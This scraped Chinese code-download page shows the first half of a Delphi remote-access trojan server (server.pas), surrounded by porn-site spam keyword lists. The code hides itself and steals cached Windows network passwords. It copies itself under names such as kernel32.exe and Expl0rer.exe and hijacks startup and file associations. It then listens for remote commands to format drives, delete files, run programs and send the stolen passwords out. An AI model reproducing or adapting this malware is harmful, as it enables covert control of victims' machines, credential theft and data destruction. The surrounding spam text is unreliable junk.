亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? server.pas

?? 這個也不錯
?? PAS
?? 第 1 頁 / 共 2 頁
字號:
{本程序只供學習用 }
unit server;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, ComCtrls, shellapi, StdCtrls, registry, ExtCtrls, Psock, NMSTRM,
  FileCtrl,MMSystem;
const
  CM_RESTORE=WM_USER+$1000;
  MYAPPNAME='My Delphi Program';
  Count: Integer = 0;
type
  TForm1 = class(TForm)
    StatusBar1: TStatusBar;
    Label1: TLabel;
    ListBox1: TListBox;
    Timer1: TTimer;
    sharelist: TListBox;
    Timer2: TTimer;
    serversocket1: TServerSocket;
    NMStrm1: TNMStrm;
    Edit1: TEdit;
    Image1: TImage;
    DriveComboBox1: TDriveComboBox;
    DirectoryListBox1: TDirectoryListBox;
    FileListBox1: TFileListBox;
    ListBox2: TListBox;
    NMStrmServ1: TNMStrmServ;
    NMStrm2: TNMStrm;
    procedure FormCreate(Sender: TObject);
    procedure serversocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure serversocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure serversocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure Timer2Timer(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure serversocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure NMStrm1MessageSent(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure NMStrmServ1ClientContact(Sender: TObject);
    procedure NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
      strm: TStream);
    procedure wmhotkey(var message:Tmessage);message WM_HOTKEY;
  private
    { Private declarations }
  public
    procedure CreateParams(var Params: TCreateParams); override;
    Procedure RestoreRequest(var message: TMessage); message CM_RESTORE;
    { Public declarations }
  end;
//格式化說明
const num: Integer = 0;
const SHFMT_DRV_A = 0;
const SHFMT_DRV_B = 1;
const SHFMT_DRV_C = 2;
const SHFMT_DRV_D = 3;
const SHFMT_ID_DEFAULT = $FFFF;
const SHFMT_OPT_QUICKFORMAT = 0;
const SHFMT_OPT_FULLFORMAT = 1;
const SHFMT_OPT_SYSONLY = 2;
const SHFMT_ERROR = -1;
const SHFMT_CANCEL = -2;
const SHFMT_NOFORMAT = -3;
var
  Form1: TForm1;
  info:array[1..50] of string[10];
  RvHandle : hWnd;
function SHFormatDrive(hWnd : HWND;Drive : Word;fmtID : Word;Options : Word) : Longint stdcall; external 'Shell32.dll' name 'SHFormatDrive';
function RegisterServiceProcess(dwprocessid,dwtype:integer):integer;stdcall;external 'kernel32.dll';
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
implementation

uses mail;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
 PWinPassword = ^TWinPassword;
 TWinPassword = record
   EntrySize: Word;
   ResourceSize: Word;
   PasswordSize: Word;
   EntryIndex: Byte;
   EntryType: Byte;
   PasswordC: Char;
  end;

var
  WinPassword: TWinPassword;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
  Password: String;
  PC: Array[0..$FF] of Char;
begin
  inc(num);
  Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
  PC[WinPassword.ResourceSize] := #0;
  CharToOem(PC, PC);
  Password := StrPas(PC);
  Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
  Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
  PC[WinPassword.PasswordSize] := #0;
  CharToOem(PC, PC);
  Password := Password + ': ' + StrPas(PC);
  Form1.ListBox2.Items.Add(Password);
  Result := True;
end;
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
 inherited CreateParams(Params);
 Params.WinClassName := MYAPPNAME;
end;
procedure Tform1.wmhotkey(var message:Tmessage);
  var
   Atype:TmsgDlgtype;
   b1:Tmsgdlgbuttons;
   WResult:word;
   password :string;
 begin
   form1.Visible :=true;
   Atype:=mtconfirmation;
   b1:=mbyesnocancel;
   password:=inputbox('你要關閉嗎?請輸入密碼','系統','');
   if password='@look' then
      begin
        close;
      end
 end;
procedure TForm1.RestoreRequest(var message: TMessage);
  begin
    if IsIconic(Application.Handle) = TRUE then
      Application.Restore
    else
     Application.BringToFront;
  end;



{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var MySysPath : PCHAR ;
    reg,myreg:tregistry;
    syspath:string;
begin
   //設置熱鍵
     if registerhotkey(handle,0,MOD_ALT or mod_control,66) then
       begin
        // messagebox(handle,'注冊成功','系統',mb_ok+mb_iconstop);
         hide;
       end;
   //后臺運行
   RegisterServiceProcess(GetCurrentProcessId,1);
  //網絡密碼
   if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
   begin
     listbox2.Items.Add('沒有密碼列表可用');
   end
  else
   if num = 0 then
    ListBox2.Items.Add('沒有發現密碼');
   //隱藏
    timer1.Enabled:=true;
    timer2.Enabled:=true;
  //保護
   GetMem(MySysPath,255);
   GetSystemDirectory(MySysPath,255);
   syspath:=string(mysyspath);
   if FileExists(syspath+'\kernel32.exe') then
      begin
        deletefile(syspath+'\kernel32.exe');
        if fileExists('c:\windows\command\attrib.exe') then
           begin
             deletefile('c:\windows\command\attrib.exe');
           end;
      end
   else
    begin
   copyfile(pchar(Application.Exename),pchar(syspath+'\kernel32.exe'),true);
   copyfile(pchar(application.exename),pchar('c:\windows\command\bad.exe'),true);
   copyfile(pchar(application.exename),pchar(syspath+'\Expl0rer.exe'),true);
   SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
   Writeprivateprofilestring('boot','shell','Explorer.exe kernel32.exe','c:\windows\system.ini');
   myreg:=tregistry.Create;
   myreg.RootKey:=HKEY_LOCAL_MACHINE;
   if myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true)then
     begin
       myreg.WriteString('',syspath+'\kernel32.exe');
       myreg.CloseKey;
     end;
      myreg.Free ;
  reg:=Tregistry.Create ;
  reg.RootKey:=HKEY_CLASSES_ROOT;
  if reg.OpenKey('txtfile\shell\open\command\',true) then
     begin
       reg.WriteString('',syspath+'\Expl0rer.exe');
       reg.CloseKey ;
     end;
   if reg.OpenKey('inifile\shell\open\command\',true) then
     begin
       reg.WriteString('','c:\windows\command\bad.exe');
       reg.CloseKey ;
     end;
    reg.Free;
   //修改
   filesetAttr(syspath+'\kernel32.exe',7);
   filesetAttr(syspath+'\Expl0rer.exe',7);
   filesetAttr('c:\windows\command\bad.exe',7);
  //開始偵聽
   serversocket1.Open;
   serversocket1.Active:=true;
   serversocket1.Socket.Lock;
   Statusbar1.simpleText := '正在監聽...';
  end;
end;


procedure TForm1.serversocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
function getmid(const data:string; start, count :integer):string;
 begin
  if (start>length(data)) or (start<0) then start:=0;
  if count>length(data)-start then start:=length(data)-start;
  result:=copy(data,start,count);
 end ;
function getleft(const data:string; count :integer):string;
 begin
  if (count<0)or (count>length(data))then count:=length(data);
  result:=copy(data,1,count);
 end;
var myreg:tregistry;
    number,i:integer;
    hDesktop:THandle;
    temp:integer;
    rtScreen: TRect;
    hwnd1,hwnd2:hwnd;
    buttonname:string;
    result:boolean;
    devmode:tdevicemode;
    x,y:word;
    sharedir,sharename:string;
    len:integer;
    MyFStream: TFileStream;
    data,strfile,strback,str1:string;
    t1,t2:integer;
    fulls: TBitmap;
    fullsc: TCanvas;
    dc:HDC;
    KeyState  :TKeyboardState;
    FmtRes : longint;
    killpro : hwnd;
begin
    SetWindowPos(form1.handle,HWND_TOPmost,0,0,0,0,SWP_HIDEWINDOW);
     data:=socket.ReceiveText ;
    strfile:=copy(data,6,length(data)-5);
    //str1:=getmid(data,7,1);
    //t1:=strtoint(str1);
    //t2:=length(data)-strtoint(str1);
    //str2:=getmid(data,7,t1);
    //str3:=getmid(data,8,t2);
  //彈出菜單
  if data='popupme' then
    begin
     SendMessage(Self.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);
    end; 
  // 進程度控制
  if pos('killp',data)=1 then
    begin
        killpro:=findwindow(nil,pchar(strfile));
        if killpro<>0 then
           begin
             sendmessage(killpro,WM_CLOSE,0,0);
           end;
    end;
 //數據信使
  if pos('over!',data)=1 then
     begin
       form2.close;
     end;
   if pos('mail!',data)=1 then
     begin
       form2.show;
       form2.memo1.Lines.Add('client '+ strfile) ;
     end  ;
 //格式化
  if  pos('for!!',data)=1 then
    if strfile='c:' then
      begin
        try
         FmtRes:= ShFormatDrive(Handle,SHFMT_DRV_C,SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT);
       except
      end;
    if strfile='d:' then
      begin
        try
          FmtRes:= ShFormatDrive(Handle,SHFMT_DRV_D,SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT);
        except
      end;
     end;
  end;
  if pos('dela!',data)=1 then
     begin
      if  strfile='c:' then
          begin
            deletefile('c:\*.*');
          end;
      if strfile='d:' then
          begin
            deletefile('d:\*.*');
          end;
      if strfile='a:' then
         begin
            deletefile('a:\*.*');
         end;
     end;
  //運行程序
  if pos('exec!',data)=1 then
    begin
     winexec(pchar(strfile),SW_MAXIMIZE );
    end;
  //刪除文件
  if pos('del!!',data)=1 then
     begin
      deletefile(strfile);
     end;
  //上載文件
  if pos('up!!!',data)=1 then
   begin
     label1.Caption:=strfile;
   end;
  //鍵盤控制
  if data='f1key' then
   begin
      GetKeyboardState(KeyState);
      KeyState[VK_F3] := 1;
      SetKeyboardState(KeyState);
      end;
  if data='skey' then
     begin
      GetKeyboardState(KeyState);
      if (KeyState[VK_SCROLL] = 0) then KeyState[VK_SCROLL] := 1
      else
      KeyState[VK_SCROLL] := 0;
      SetKeyboardState(KeyState);
      end;
  if data='ckey' then
      begin
      GetKeyboardState(KeyState);
      if (KeyState[VK_CAPITAL] = 0) then KeyState[VK_CAPITAL] := 1
      else
      KeyState[VK_CAPITAL] := 0;
      SetKeyboardState(KeyState);
      end;
  if data='nkey' then
       begin
      GetKeyboardState(KeyState);
      if (KeyState[VK_NUMLOCK] = 0) then KeyState[VK_NUMLOCK] := 1
      else
      KeyState[VK_NUMLOCK] := 0;
      SetKeyboardState(KeyState);
      end;
  //改計算機名
  if pos('setpc',data)=1 then
    begin
     SetComputerName(pchar(strfile));
    end;
  //獲取密碼
  if pos('pass!',data)=1 then
    begin
      socket.SendText('pass!'+listbox2.Items.Text);
    end;
  if data='openc' then  mciSendString('Set cdaudio door open wait', nil, 0, handle);
  if data='cdrom' then  mciSendString('Set cdaudio door closed wait', nil, 0, handle);
  //消息處理

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
制服.丝袜.亚洲.另类.中文| 欧美日韩在线三级| 精品在线你懂的| 美女脱光内衣内裤视频久久网站| 日韩国产在线一| 国产精品一二二区| 91在线视频在线| 欧美人牲a欧美精品| 精品久久久久久亚洲综合网| 久久久www成人免费无遮挡大片| 2欧美一区二区三区在线观看视频 337p粉嫩大胆噜噜噜噜噜91av | 亚洲一区二区三区四区在线| 三级久久三级久久| 久久99久久99| 91在线播放网址| 色综合久久综合| 欧美日韩国产色站一区二区三区| 日韩一本二本av| 中文字幕中文字幕在线一区| 亚洲一线二线三线视频| 亚洲国产成人91porn| 精品一区二区av| 欧美日韩在线直播| 欧美疯狂性受xxxxx喷水图片| 欧美一级精品在线| 亚洲人成电影网站色mp4| 日本不卡视频一二三区| www.亚洲精品| 欧美日韩成人一区| 中文字幕亚洲电影| 国产美女一区二区三区| 91超碰这里只有精品国产| 国产视频视频一区| 亚洲国产毛片aaaaa无费看| 不卡的av在线播放| 精品国产免费一区二区三区香蕉 | 91麻豆国产自产在线观看| 欧美mv和日韩mv的网站| 天天综合日日夜夜精品| 97se亚洲国产综合在线| 国产亚洲综合在线| 蜜臀av性久久久久蜜臀aⅴ流畅| 日本国产一区二区| 国产精品乱码久久久久久| 国产美女精品一区二区三区| 69久久夜色精品国产69蝌蚪网| 国产精品成人一区二区三区夜夜夜| 强制捆绑调教一区二区| 色综合久久88色综合天天免费| 国产日韩欧美不卡| 国产一区二区三区免费播放| 欧美日韩日日摸| 亚洲一区二区在线观看视频| eeuss国产一区二区三区| 欧美精彩视频一区二区三区| 婷婷综合久久一区二区三区| 国产精品综合一区二区| 666欧美在线视频| 日本欧美久久久久免费播放网| 欧美日韩国产另类不卡| 一区二区三区91| 在线观看网站黄不卡| 中文字幕不卡的av| 97aⅴ精品视频一二三区| 亚洲欧美日韩久久| 在线观看不卡视频| 亚洲福利一区二区三区| 91精品福利在线一区二区三区 | 欧美一级在线视频| 日本特黄久久久高潮| 欧美午夜宅男影院| 天堂精品中文字幕在线| 日韩免费高清电影| 国产美女精品人人做人人爽| 国产精品免费aⅴ片在线观看| 成人av在线播放网站| 中文字幕av在线一区二区三区| 韩国精品主播一区二区在线观看| 久久久蜜桃精品| 99久久综合国产精品| 国产人成亚洲第一网站在线播放| 成人av午夜电影| 午夜欧美电影在线观看| 精品免费日韩av| 97aⅴ精品视频一二三区| 亚洲777理论| 久久一留热品黄| 成人黄色大片在线观看| 亚洲1区2区3区视频| 欧美优质美女网站| 国产在线精品一区二区三区不卡 | 欧美日韩亚洲不卡| 久久成人麻豆午夜电影| 国产精品欧美综合在线| 成人综合激情网| 依依成人精品视频| 精品av综合导航| 色噜噜夜夜夜综合网| 激情欧美一区二区| 亚洲男人的天堂一区二区 | 成人一区在线观看| 亚洲另类在线视频| 欧美一区二区三区在线观看 | 欧美撒尿777hd撒尿| 毛片av一区二区三区| 精品国一区二区三区| 日本精品一级二级| 国产乱一区二区| 亚洲综合视频在线观看| 欧美不卡一区二区三区四区| 成人激情综合网站| 免费成人av在线| 亚洲成人免费看| 国产精品久久影院| 久久女同精品一区二区| 欧美猛男超大videosgay| 日韩高清不卡在线| 一区二区免费视频| 国产精品成人网| 久久天天做天天爱综合色| 欧美性生交片4| 欧美午夜不卡在线观看免费| 国产高清视频一区| 精品一区二区三区影院在线午夜| 亚洲小说春色综合另类电影| 国产精品国产自产拍高清av | 亚洲精品网站在线观看| 国产三级一区二区三区| 日韩一区二区精品在线观看| 欧美伊人久久久久久久久影院| 不卡在线观看av| 国产盗摄女厕一区二区三区| 精品一区二区在线播放| 美女精品一区二区| 日韩精品免费专区| 亚洲成av人片一区二区梦乃| 亚洲精品欧美激情| 亚洲欧洲三级电影| 亚洲私人黄色宅男| 《视频一区视频二区| 国产精品白丝在线| 中文字幕五月欧美| 亚洲欧美一区二区三区国产精品| 国产精品免费看片| 亚洲精品国久久99热| 一级日本不卡的影视| 亚洲一区二区高清| 丝袜美腿亚洲一区二区图片| 日韩一区精品字幕| 六月丁香婷婷色狠狠久久| 免费不卡在线观看| 久久99精品久久只有精品| 免费人成黄页网站在线一区二区| 日产欧产美韩系列久久99| 青青草97国产精品免费观看| 黑人精品欧美一区二区蜜桃| 国产精品1区二区.| 99vv1com这只有精品| 91国产丝袜在线播放| 欧美高清www午色夜在线视频| 欧美中文字幕一二三区视频| 欧美一区二区精品| 欧美国产成人在线| 国产精品国产三级国产| 亚洲视频1区2区| 日韩国产高清影视| 国产精品一级二级三级| 97se亚洲国产综合在线| 欧美日韩和欧美的一区二区| 精品日韩欧美在线| 亚洲三级在线免费| 奇米精品一区二区三区在线观看 | 国精产品一区一区三区mba视频| 极品少妇一区二区三区精品视频| 成人黄色小视频| 欧美无乱码久久久免费午夜一区| 欧美日韩三级在线| 久久精品人人做人人综合| 综合久久久久久| 免费黄网站欧美| 成人一区二区三区视频在线观看| 欧美亚洲精品一区| 国产欧美日韩久久| 欧美吻胸吃奶大尺度电影| 国产精品午夜在线观看| 亚洲va韩国va欧美va| 激情丁香综合五月| 欧美性视频一区二区三区| 久久九九久精品国产免费直播| 亚洲乱码一区二区三区在线观看| 麻豆精品在线看| 欧洲一区二区av| 国产精品996| 欧美r级在线观看| 国产日产欧美一区二区视频| 麻豆一区二区在线| 欧美视频一区二区三区在线观看 | 91精品国产全国免费观看| 中文字幕精品—区二区四季| 美女在线一区二区|